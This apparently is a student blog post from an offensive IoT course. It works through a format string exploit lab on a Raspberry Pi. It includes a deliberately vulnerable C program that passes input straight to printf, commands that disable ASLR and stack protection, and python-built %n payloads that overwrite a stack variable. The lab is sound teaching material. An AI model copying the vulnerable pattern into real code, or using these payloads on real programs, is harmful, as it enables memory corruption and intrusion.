This blog post has been created for completing the requirements of the SecurityTube Offensive Internet of Things course.

http://www.securitytube-training.com/online-courses/offensive-internet-of-things- exploitation/index.html

Student ID: IoTE-728

 

During the Offensive IoT Exploitation course I learned the basics of writing buffer overflow exploits on ARM and MIPS architecture. I also learned how to debug and analyze applications on those architectures. I decided to experiment a little bit more and learn to create format string exploits.

 

Format string vulnerabilities exist in the application when printf-like functions are in use and we can supply or modify the control string. These functions are variable argument functions. This means that we can pass various type and number of arguments and the control string determines how those arguments are processed. There are number of good sites which explains the format string rules, for example this one.

Here is the summary of the capabilities of the format string which is relevant in the exploit development:

  1. If we pass %x in the control string, then the first word on the stack is printed. Subsequent %x’s print out the subsequent words. %08x-%08x-%08x-%08x-%08x-… dumps out the stack.
  2. %x prints out the word on the stack as a value. %s treats the value as a pointer to a string and prints out that string.
  3. Values are processed sequentially from the stack. %x%x prints out the first and second word from the stack. However n$ can be used to refer other values. For example %5$x prints out the fifth value.
  4. %x and %s are replaced in the control string. %n however is treated differently. It counts the character printed out so far and writes that value into the referred memory location. For example %5$n gets the fifth word on the stack and treats it as a memory pointer, where the number is written.

The format string vulnerability can be used in the following ways:

  1. %s%s%s%s… crashes the application if there are enough %s.
  2. %08x-%08x-%08x-%08x-%08x-… dumps the stack.
  3. Memory address can be overwritten with %n. The memory address can be passed in the control string, which can be found on the stack and can be referenced.

If we want to overwrite memory, the usual payload looks like this:

———————————————————–
|  Memory address  |  %1234d  |  %5678$n  |
———————————————————–

The 1234 in %d controls the value which is written into the memory. The 5678$ in %n helps to find the Memory address on the stack.


 

I used my Raspberry Pi2 with Kali linux for this exercise. First I switched off the ASLR:

# echo 0 > /proc/sys/kernel/randomize_va_space

I used the following vulnerable application.

1227-2

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>


void printbuffer(char *string)
{
  printf(string);
}

void vuln()
{
  char buffer[512];
  int target;

  fgets(buffer, sizeof(buffer), stdin);

  printbuffer(buffer);
  
  if(target == 0x01025544) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %08x :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}

I compiled it on the target machine with the following command lines:

# gcc format3.c -o format3 -fno-stack-protector -z execstack

The goal of this exercise is to write 0x01025544 into the global variable target.

 

 

First I determined where the control string resides on the stack and how I could control it. I created an input file. AAAA will be our memory address to the target. The next part dumps out the stack.

$ python -c ‘print “AAAA%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x”‘ > input

Then I started the application in gdb and passed the input file.

(gdb) r < input

The output contains the AAAA part (9th word on the stack).

AAAA00000000-00000001-7efff9a4-00000000-7efff9a4-7efff9a0-0001049b-00000001-41414141-78383025-3830252d

 

 

Then I determined the address of the target variable. I disassembled the vuln function. I set a breakpoint on the instruction which loads the target variable.

ldr.w r2, [r7, #516] ; 0x204

I started the application and checked the content of the r7 register. The address of the target variable is r7+516 (0x7efffba4). I put this value into the input file (little endian!). I also replaced the %x to %n. This updates the target value.

$ python -c ‘print “\xa4\xfb\xff\x7e%9$n”‘ > input

The output of the program was:

target is 00000004 🙁

Since the address consits of 4 bytes, the target value will also be 4.

 

In the last step I  created the final form of the exploit. The memory address is 0x7efffba4. The last part is %9$n. We have to write 0x01025544 into the variable. The mid part is %16930112d, because 0x01025544 – 4 = 16930112.

—————————————————————————–
|  Memory address (0x7efffba4)  |  %16930112d  |  %9$n  |
—————————————————————————–

$ python -c ‘print “\xa4\xfb\xff\x7e%16930112d%9$n”‘ > input

formatstring